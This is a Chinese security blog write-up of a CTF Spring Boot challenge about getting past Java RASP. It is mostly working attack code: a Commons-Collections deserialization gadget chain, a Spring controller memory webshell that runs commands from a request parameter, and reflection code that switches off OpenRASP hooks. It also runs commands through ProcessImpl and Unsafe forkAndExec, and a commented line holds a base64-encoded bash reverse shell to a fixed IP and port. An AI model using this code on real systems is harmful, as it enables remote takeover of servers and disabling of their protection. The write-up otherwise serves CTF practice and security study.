绕RASP之内存马后渗透浅析

admin 2025年5月16日14:51:20评论3 views字数 23399阅读77分59秒阅读模式

原文首发在:奇安信攻防社区

https://forum.butian.net/share/4338

在RASP的防御下,如何绕过waf以达到反序列化,进而RCE呢?

题目:

在邑网杯线下赛有题Springboot

绕RASP之内存马后渗透浅析

附件是一个jar包还有一个rasp。

RASP

RASP全称是Runtime applicaion self-protection,在2014念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件。

目前Java RASP主要是通过Instrumentation编写Agent的形式,在Agent的premain和agentmain中加入检测类一般继承于ClassFileTransformer,当程序运行进来的时候,通过类中的transform检测字节码文件中是否有一些敏感的类文件,比如ProcessImpl等。简单的可以理解为通过Instrumentation来对JVM进行实时监控。

Instrumentation API 提供了两个核心接口:ClassFileTransformer 和 Instrumentation。ClassFileTransformer 接口允许开发者在类加载前或类重新定义时对字节码进行转换。Instrumentation 接口则提供了启动时代理和重新定义类的能力

与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。

绕RASP之内存马后渗透浅析

环境复现

docker

docker pull openjdk:8-jdk
docker run -p 45412:8888 -it --rm openjdk:8-jdk sh
java -javaagent:./rasp/rasp.jar -jar DeSpring.jar

题目分析

绕RASP之内存马后渗透浅析

jar包反编译之后,看到在/user/info的data参数能够传入base64的恶意字节码,同时有CC的依赖

SecurityObjectInputStream类中的黑名单

绕RASP之内存马后渗透浅析

由于启动了RASP,我们还得去看看插件禁用了那些黑名单

绕RASP之内存马后渗透浅析

链子分析:

发现LazyMap和DefaultedMap都没ban,Hashtable也没有ban

于是就想到一条CC链,就是前半段是CC7后半段是CC3,因为DefaultedMap跟LazyMap相似的,却比较少人知道

这里就拿DefaultedMap这条链子来分析。

Hashtable#readObject()
DefaultedMap#get()
InstantiateTransformer#transform()
    newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses
    newInstance()
    Runtime.exec()

首先DefaultedMap也有readObject()

绕RASP之内存马后渗透浅析

反序列化触发Hashtable#readObject()

绕RASP之内存马后渗透浅析

这里传进去的key其实就是DefaultedMap

跟进reconstitutionPut(table, key, value)

绕RASP之内存马后渗透浅析

虽然DefaultedMap没有equals方法,但他继承了AbstractMapDecorator所以,此时key如果是DefaultedMap则会调用父类AbstractMapDecorator的equals方法。

绕RASP之内存马后渗透浅析

map属性是通过DefaultedMap传递的,我们在构造利用链的时候,通过DefaultedMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法

我们在HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

绕RASP之内存马后渗透浅析

抽象类AbstractMap的equals方法进行了更为复杂的判断:

1、判断是否为同一对象
2、判断对象的运行类型
3、判断Map中元素的个数,一定要为两个以上
当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个DefaultedMap。因此m对象调用get方法时实际上是调用了DefaultedMap的get方法。

绕RASP之内存马后渗透浅析

这里的key是传过来的key,条件是this.map没有这个key即可。

HashMap hashmap=new HashMap();
hashmap.put("exp",TrAXFilter.class);

我们是利用这样的方式修改传进去的key

绕RASP之内存马后渗透浅析

然后就会自动步入第二个if条件。

发现这当value是transformer的实例的时候,会调用value的transform方法,来看看构造方法,这里就用一个就行了

同时这里的value是我们可控的,我们可以直接利用反射去传进一个value

Field f = DefaultedMap.class.getDeclaredField("value");

所以找到我们能用的transformer就行

InstantiateTransformer就是transformer的实例化类并且在c3链中有,这里就再回顾一遍它的构造方法有一个是

public InstantiateTransformer(Class[] paramTypesObject[] args{
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

这里paramTypes其实就是args的类型,而args就是paramTypes的实例,看transformer

绕RASP之内存马后渗透浅析

发现就是实例化input类,这里构造器的种类和实例化参数都是我们可控的,之前c3链用到了TrAXFilter,这个类有个一个构造方法,会调用TransformerImpl的newtransformer从而加载类

最终poc:

ExpCalcTemplatesImpl.class

/**
 * @className ExpCalcTemplatesImpl
 * @Author shushu
 * @Data 2025/4/22
 **/

package Expclass;

/**
 * @className TestTemplatesImpl
 * @Author shushu
 * @Data 2025/2/12
 **/


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

publicclassExpCalcTemplatesImplextendsAbstractTranslet{

public ExpCalcTemplatesImpl() {
        super();
try {
//            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMi4xMC84NjY2IDA+JjE=}|{base64,-d}|{bash,-i}");
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

publicvoid transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

publicvoid transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

test.class

/**
 * @className test
 * @Author shushu
 * @Data 2025/4/19
 **/

package CCtesu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
//import SpringbootMem.EvilController;
publicclasstest{

publicstaticvoid main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException, Base64DecodingException, NoSuchMethodException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException {
//        byte[] code = Base64.decode(makeClass("Expclass.EvilController"));
        byte[] code = Base64.decode(makeClass("Expclass.ExpCalcTemplatesImpl"));

//反射设置 Field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes"new byte[][]{code});
        setFieldValue(templates, "_name""HelloTemplatesImpl");
        setFieldValue(templates,"_tfactory"new TransformerFactoryImpl());

        InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class,newClass[]{Templates.class},newObject[]{templates});
        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

//LazyMap实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map DefaultedMap1 = DefaultedMap.decorate(innerMap1,factoryTransformer);
        DefaultedMap1.put("yy"1);

        Map DefaultedMap2 = DefaultedMap.decorate(innerMap2,factoryTransformer);
        DefaultedMap2.put("zZ"1);

        Hashtable hashtable = new Hashtable();
        setFieldValue(hashtable, "count"2);
ClassnodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.classObject.classObject.classnodeC);
nodeCons.setAccessible(true);
Objecttbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, DefaultedMap1, 1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, DefaultedMap2, 2, null));
setFieldValue(hashtable, "table", tbl);

        //序列化
ByteArrayOutputStreambaos = newByteArrayOutputStream();
ObjectOutputStreamoos = newObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
Stringbase64String = java.util.Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64String);

ByteArrayInputStreamin = newByteArrayInputStream(baos.toByteArray());
ObjectInputStreamois = newObjectInputStream(in);
Objectob = (Objectois.readObject();
    }

privatestaticbyte[] makeClass(StringclassNamethrowsIOExceptionCannotCompileExceptionNotFoundException
{
final CtClass clazz;
        ClassPool pool = ClassPool.getDefault();
        clazz = pool.get(className);
        byte[] classBytes = clazz.toBytecode();
        classBytes[7] = 49;
return Base64.encode(classBytes).getBytes();
    }

publicstaticvoid setFieldValue(ObjectobjectString fieldName, Object value) {
try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
publicstaticObject getFieldValue(finalObject obj, finalString fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
return field.get(obj);
    }

}
绕RASP之内存马后渗透浅析

这里没用反射构造类是因为后面的不出网要打内存马

RASP绕过

这里先给出我们的内存马

/**
 * @className SpringMemShell
 * @Author shushu
 * @Data 2025/4/22
 **/

package Expclass;
/**
 * @className EvilController
 * @Author shushu
 * @Data 2025/4/19
 **/


import Expclass.JvmRaspBypass.Cmd;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.misc.Unsafe;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import static CCtesu.test.getFieldValue;

publicclassEvilControllerextendsAbstractTranslet{

public EvilController() throws Exception{
// 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = EvilController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);

        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();

        EvilController springBootMemoryShellOfController = new EvilController("ycxlo");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

public EvilController(String test){

    }

publicvoid test() throws Exception{
// 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getParameter("cmd");

if(command != null){
try {

                java.io.PrintWriter printWriter = response.getWriter();
String o = "you_are_successful!!!!!!!!!";

                ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(newString[]{"cmd.exe""/c", command});
                }else{
                    p = new ProcessBuilder(newString[]{"/bin/sh""-c", command});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");

                o = c.hasNext() ? c.next(): o;
                c.close();
                printWriter.write(o);
                printWriter.flush();
                printWriter.close();
            }catch (Exception ignored){

            }

        }
    }
publicvoid transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

publicvoid transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里如果用内存马直接打,只是回显you_are_successful!!!!!!!!!,但根本执行不了命令

绕RASP之内存马后渗透浅析

卸载功能

反编译题目给的rasp-engine.jar

里面有一个类com.baidu.openrasp.config.Config;

有个属性disableHooks

绕RASP之内存马后渗透浅析

在执行检测前中间的调用流程有个doCheckWithoutRequest,就会检测这个disableHooks的值

绕RASP之内存马后渗透浅析

又或者是改变

hookWhiteAll和cloudSwitch

的值即可

法一:改变disableHooks

try {
Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
java.lang.reflect.MethodgetConfig = clz.getDeclaredMethod("getConfig");
java.lang.reflect.FielddisableHooks = clz.getDeclaredField("disableHooks");
disableHooks.setAccessible(true);
Objectins = getConfig.invoke(null);

disableHooks.set(ins,true);
catch (Exceptione
{}

法二:改变hookWhiteAll和cloudSwitch

try {
Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
java.lang.reflect.MethodgetConfig = clz.getDeclaredMethod("getConfig");

java.lang.reflect.FieldhookWhiteAll = clz.getDeclaredField("hookWhiteAll");
hookWhiteAll.setAccessible(true);
Objectins = getConfig.invoke(null);
hookWhiteAll.set(ins,true);

java.lang.reflect.FieldcloudSwitch = clz.getDeclaredField("cloudSwitch");
cloudSwitch.setAccessible(true);
Objectins2 = getConfig.invoke(null);
cloudSwitch.set(ins2,true);
catch (Exceptione
{}

法三:改变HookHandler

Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));
绕RASP之内存马后渗透浅析

然后就能够命令执行了同时有回显

绕RASP之内存马后渗透浅析

如果下面没有把整段代码贴出来,那么都是基于上述内存马的代码修改位置来进行修改的。

文件写入+读取

命令执行

法一、创建新的进程绕过,执行命令

/**
 * @className EvilThread
 * @Author shushu
 * @Data 2025/4/23
 **/

package Expclass;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

publicclassBypassRaspextendsAbstractTransletimplementsRunnable{
public BypassRasp(){
new Thread(this).start();
    }

    @Override
publicvoid transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }

    @Override
publicvoid transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }

    @Override
publicvoid run() {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
String[] command = isLinux ? newString[]{"sh""-c","ls > /tmp/result"} : newString[]{"cmd.exe""/c""calc"};
            Runtime.getRuntime().exec(command);
        }catch (IOException e){}
    }
}

法二、hook点

win
publicstaticvoid bypass_hook(String cmd) throws Exception{
ClassprocessClass = Class.forName("java.lang.ProcessImpl");

Stringcmdstr = cmd;
Stringenvblock = null;
Stringdir = null;
long[] stdHandles = newlong[]
{-1, -1, -1};
// 这里将 redirectErrorStream 设置为 true 以便于将错误输出重定向到标准输出
boolean redirectErrorStream = true;

        Method create = processClass.getDeclaredMethod("create"String.classString.classString.class, long[].classboolean.class);
        create.setAccessible(true);
// 由于 create 方法是静态方法,甚至都不用实例化对象就行。
        create.invoke(null, cmdstr, envblock, dir, stdHandles, redirectErrorStream);
    }
UNIX/Linux系统

命令执行

import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
publicclassWriteFile{

publicstaticvoid main(String[] mainargs) throws Exception{
// 获取命令
String[] strs = newString[]{"whoami"};

if (strs != null) {
            Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

ClassprocessClass = null;

try
{
                processClass = Class.forName("java.lang.UNIXProcess");
            } catch (ClassNotFoundException e) {
                processClass = Class.forName("java.lang.ProcessImpl");
            }

Object processObject = unsafe.allocateInstance(processClass);

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
            byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {
                args[i] = strs[i + 1].getBytes();
                size += args[i].length;
            }

            byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
// No need to write NUL bytes explicitly
            }

int[] envc = newint[1];
int[] std_fds = newint[]{-1, -1, -1};
            Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
            Field helperpathField = processClass.getDeclaredField("helperpath");
            launchMechanismField.setAccessible(true);
            helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
            byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

            Method forkMethod = processClass.getDeclaredMethod("forkAndExec"newClass[]{
int.class, byte[].class, byte[].class, byte[].classint.class,
                    byte[].classint.class, byte[].classint[].classboolean.class
            });

            forkMethod.setAccessible(true);// 设置访问权限

int pid = (int) forkMethod.invoke(processObject, newObject[]{
                    ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
            });

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
            Method initStreamsMethod = processClass.getDeclaredMethod("initStreams"int[].class);
            initStreamsMethod.setAccessible(true);
            initStreamsMethod.invoke(processObject, std_fds);

// 获取本地执行结果的输入流
            Method getInputStreamMethod = processClass.getMethod("getInputStream");
            getInputStreamMethod.setAccessible(true);
            InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
            byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            System.out.println(baos.toString());
        }

    }

publicstatic byte[] toCString(String s) {
if (s == null)
returnnull;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
return result;
    }

}

这里是要在docker上面单独编译单独执行的。在win是无法去编译成功的,Win下没有这个类,Win下可以使用ProcessImpl,但是没必要使用Unsafe

绕RASP之内存马后渗透浅析

文件读取

// 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getParameter("cmd");

if(command != null){
try {
                java.io.PrintWriter printWriter = response.getWriter();
String o = "you_are_successful!!!!!!!!!";
                File file = new File("./result");
                java.util.Scanner c = new java.util.Scanner(file).useDelimiter("\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                printWriter.write(o);
                printWriter.flush();
                printWriter.close();
            }catch (Exception ignored){

            }

        }

命令执行(记得url双重编码)

绕RASP之内存马后渗透浅析

文件读取

绕RASP之内存马后渗透浅析

这里我只打了win系统的没有打linux,因为我觉得这种办法实在是太不优雅了,

当然如果你说命令执行和文件读取两个方法写在统一个函数里面,先命令执行,然后再把文件内容读取出来,但是总感觉跟原本的内容马差了点意思。

下面我会继续提到

这种方法比第一种卸载RASP功能的方法就要麻烦的多了,要打两次内存马。

扩展:命令执行+回显

网上很多payload但是没有结合到内存马去利用,这里补充一下。

这里就拿创建新的进程来改,刚开始一直报错java.lang.NullPointerException: null

堆栈跟踪显示问题出在org.apache.catalina.connector.CoyoteWriter.write方法里,具体是在EvilController类的test方法中的第84行

printWriter.write(RESULT);

原因是我一开始并没有给他赋值,但是他又是静态代码块,所以抛一个null值

privatestaticString RESULT="you_are_right";

这样修改之后即可

完整的内存马。

import Expclass.JvmRaspBypass.Cmd;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Objects;
import java.util.Scanner;

import static CCtesu.test.getFieldValue;
import static Util.Util.LOADER;
import static Util.Util.base64Decode;

publicclassEvilControllerextendsAbstractTransletimplementsRunnable{
privatestaticString RESULT="you_are_right";
privatestaticString CMD="whoami";
    @Override
publicvoid run() {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
String[] command = isLinux ? newString[]{"sh""-c","ls > /tmp/result"} : newString[]{"cmd.exe""/c", CMD};
try {
            InputStream in = null;
            in = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(in).useDelimiter("\A");
String out = scanner.hasNext() ? scanner.next() : "";
            RESULT=out;
        } catch (IOException e) {
thrownewRuntimeException(e);
        }
    }
public EvilController() throws Exception{
// 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = EvilController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);

        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();

        EvilController springBootMemoryShellOfController = new EvilController("ycxlo");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

public EvilController(String test){
new Thread(this).start();
    }
publicvoid test() throws Exception{
// 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = request.getParameter("cmd");
if(cmd!=null){
            java.io.PrintWriter printWriter = response.getWriter();
            CMD = cmd;
new Thread(this).start();
            System.out.println(CMD);
            printWriter.write(RESULT);
            printWriter.flush();
            printWriter.close();
        }

    }

publicvoid transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

publicvoid transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}
绕RASP之内存马后渗透浅析

这样打进去之后就能够回显了。

利用ProcessImpl的执行命令只需获取到pid然后初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流最后再吧获取本地执行结果的输入流给输出来即可。

在上面UNIX/Linux系统已有详细说明的payload,这里就不再赘述

原文始发于微信公众号(亿人安全):绕RASP之内存马后渗透浅析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月16日14:51:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕RASP之内存马后渗透浅析https://cn-sec.com/archives/4072312.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息